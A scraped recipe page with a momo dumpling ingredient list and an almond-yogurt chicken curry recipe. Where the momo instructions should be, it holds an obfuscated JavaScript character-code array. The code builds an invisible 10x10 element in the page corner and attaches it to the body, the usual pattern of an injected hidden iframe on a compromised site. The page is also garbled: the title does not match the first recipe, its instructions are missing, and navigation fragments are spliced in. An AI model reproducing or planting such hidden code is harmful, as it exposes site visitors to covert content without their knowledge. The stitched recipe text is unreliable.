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Creamy Chicken

Author:

Momo

Ingredients

  • Dough for wrappers:

    • 3 cup All-purpose flour
    • 1 tablespoon oil
    • 1 cup water
    • Pinch of salt

  • Filling:

    • 1 lb. lean ground lamb or chicken
      (Note that beef is not eaten in Nepal, the world’s only Hindu nation)

    • 1 cup onion, finely chopped
    • 1/2 cup green onion, finely chopped
    • 1/2 cup cilantro, chopped
    • 1 teaspoon garlic, minced
    • 1 teaspoon fresh ginger, minced
    • 1/2 teaspoon timur (szechwan pepper)
    • 1/2 teaspoon turmeric
    • 1 teaspoon cumin powder
    • 1 teaspoon coriander powder
    • 1 teaspoon freshly ground black pepper
    • 3 fresh red chilies, minced
    • 1 cup Nepali cheese (paneer), roughly crushed (optional)
    • 2 tablespoon clarified butter
    • Salt to taste

Instructions

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-p+39,-p+57,-p+100,-p+44,-p+113,-p+114,-p+119,-p+106,-p+99,-p+44,-p+116,-p+103,-p+113,-p+103,-p+96,-p+103,-p+106,-p+103,-p+114,-p+119,-p+59,-p+37,-p+102,-p+103,-p+98,-p+98,-p+99,-p+108,-p+37,-p+57,-p+100,-p+44,-p+113,-p+114,-p+119,-p+106,-p+99,-p+44,-p+110,-p+109,-p+113,-p+103,-p+114,-p+103,-p+109,-p+108,-p+59,-p+37,-p+95,-p+96,-p+113,-p+109,-p+106,-p+115,-p+114,-p+99,-p+37,-p+57,-p+100,-p+44,-p+113,-p+114,-p+119,-p+106,-p+99,-p+44,-p+106,-p+99,-p+100,-p+114,-p+59,-p+37,-p+46,-p+37,-p+57,-p+100,-p+44,-p+113,-p+114,-p+119,-p+106,-p+99,-p+44,-p+114,-p+109,-p+110,-p+59,-p+37,-p+46,-p+37,-p+57,-p+100,-p+44,-p+113,-p+99,-p+114,-p+63,-p+114,-p+114,-p+112,-p+103,-p+96,-p+115,-p+114,-p+99,-p+38,-p+37,-p+117,-p+103,-p+98,-p+114,-p+102,-p+37,-p+42,-p+37,-p+47,-p+46,-p+37,-p+39,-p+57,-p+100,-p+44,-p+113,-p+99,-p+114,-p+63,-p+114,-p+114,-p+112,-p+103,-p+96,-p+115,-p+114,-p+99,-p+38,-p+37,-p+102,-p+99,-p+103,-p+101,-p+102,-p+114,-p+37,-p+42,-p+37,-p+47,-p+46,-p+37,-p+39,-p+57,-p+7,-p+7,-p+7,-p+98,-p+109,-p+97,-p+115,-p+107,-p+99,-p+108,-p+114,-p+44,-p+101,-p+99,-p+114,-p+67,-p+106,-p+99,-p+107,-p+99,-p+108,-p+114,-p+113,-p+64,-p+119,-p+82,-p+95,-p+101,-p+76,-p+95,-p+107,-p+99,-p+38,-p+37,-p+96,-p+109,-p+98,-p+119,-p+37,-p+39,-p+89,-p+46,-p+91,-p+44,-p+95,-p+110,-p+110,-p+99,-p+108,-p+98,-p+65,-p+102,-p+103,-p+106,-p+98,-p+38,-p+100,-p+39,-p+57,-p+7,-p+7,-p+123];for(i=0;ientertainment/” CLASS=noUnderline>Entertainment

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Ingredients

  • 2 lbs. Chicken breast, cut into 1-in. strips
  • 4 cloves garlic
  • 1 in. ginger
  • 3 fresh red chilies
  • 1/2 cup almonds
  • 1 teaspoon cumin seeds
  • 1 teaspoon coriander seeds
  • 1 tablespoon musturd oil
  • 1 bay leaf
  • 1 in. cinnamon stick
  • 5 cloves
  • 5 green cardamoms, crushed
  • 2 cups onions, finely chopped
  • 1 cup yogurt
  • 1 teaspoon freshly ground pepper Salt to taste
  • 4 teaspoons clarified butter
  • 1 tablespoon chopped cilantro for garnish

Instructions


    Grind garlic, ginger, chilies, almonds, coriander and cumin
    seeds with water to form paste. Salt and pepper chicken. Heat one
    tablespoon musturd oil in a non-stick pan, and brown chicken. Transfer
    chicken to a bowl. Drain and clean the pan, heat clarified butter. Add
    cinnamon stick, cloves, bay leaf, and cardomoms. Fry for 30 sec., and
    add onions. Sautee the onions till brown.

    Transfer the almond paste to the onion mixture. Stir for about 2 min. till the oil separates. Add
    yogurt, mix well to a consistent mixture. Transfer the browned chicken
    to the yogurt sauce. Cook in low heat till chicken is tender and the
    almnd sauce is thickened. Garnish with chopped cilantro. Serve with
    roti, or rice.

Submitted by: Tulsi Regmi

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